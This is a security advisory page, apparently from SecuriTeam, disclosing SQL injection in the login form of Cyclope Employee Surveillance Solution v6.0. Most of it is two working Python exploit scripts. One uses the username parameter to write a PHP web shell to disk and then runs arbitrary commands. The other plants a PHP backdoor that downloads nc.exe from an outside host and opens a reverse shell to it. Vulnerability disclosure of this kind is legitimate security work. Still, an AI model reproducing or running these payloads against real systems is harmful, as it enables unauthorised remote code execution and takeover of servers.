Home
Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs
Brought to you by:
Suppliers of:
New vulnerability? New tool? Tell us
Subjects of Interest:
Vulnerability Management
SQL Injection
Buffer Overflows
Active Network Scanning
Fuzzing
Fuzzer Report
Network Security
Network Scanner
Pen Testing
Security Scanner
Due to improper input sensitization, many parameters are prone to SQL injection. Most importantly, the username parameter in the application's login form.
Credit:
The information has been provided by loneferret .
Vulnerable Systems:
* Cyclope Employee Surveillance Solution v6.0 (6.1.0/6.2.0/6.2.1)
#!/usr/bin/python
import urllib, cookielib
import urllib2
import sys
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"
print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 3):
print "[*] Usage: poc.py <RHOST> <CMD>"
print "[*] Ex. : poc.py 127.0.0.1 ipconfig"
exit(0)
rhost = sys.argv[1]
rcmd = sys.argv[2]
backdoor = "<?php system($_GET['exe']);?>"
prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')
act = 'auth-login'
pag = 'login'
password = 'hole'
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})
print "[*] Sending evil payload"
resp = opener.open("http://%s:7879/" % rhost, post_params)
print "[*] Triggering backdoor"
cmd = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost
page = urllib.urlopen(cmd)
print "[*] Executing command: %s\n" % rcmd
shell = 'http://%s:7879/Ni4xLjA=/cmd.php?exe=%s' % (rhost,rcmd)
try:
page = urllib.urlopen(shell)
cmd = page.read()
print cmd
except:
print "[-] Oups! Somthing happened"
---Python Getting Shell---
#!/usr/bin/python
import urllib, cookielib
import urllib2
import sys
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"
print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 2):
print "[*] Usage: poc.py <RHOST>"
exit(0)
rhost = sys.argv[1]
backdoor = '''<?php
file_put_contents("nc.exe",
file_get_contents("http://172.16.194.163/nc.exe"));
shell_exec("nc.exe 172.16.194.163 4444 -e cmd.exe");?>'''
prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')
act = 'auth-login'
pag = 'login'
password = 'hole'
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})
print "[*] Sending evil payload"
try:
resp = opener.open("http://%s:7879/" % rhost, post_params)
print "[*] Triggering Shell"
shell = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost
page = urllib.urlopen(shell)
cmd = page.read()
except:
print "[-] Oups! Somthing happened"
Disclosure Timeline:
Published: 2012-08-09
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by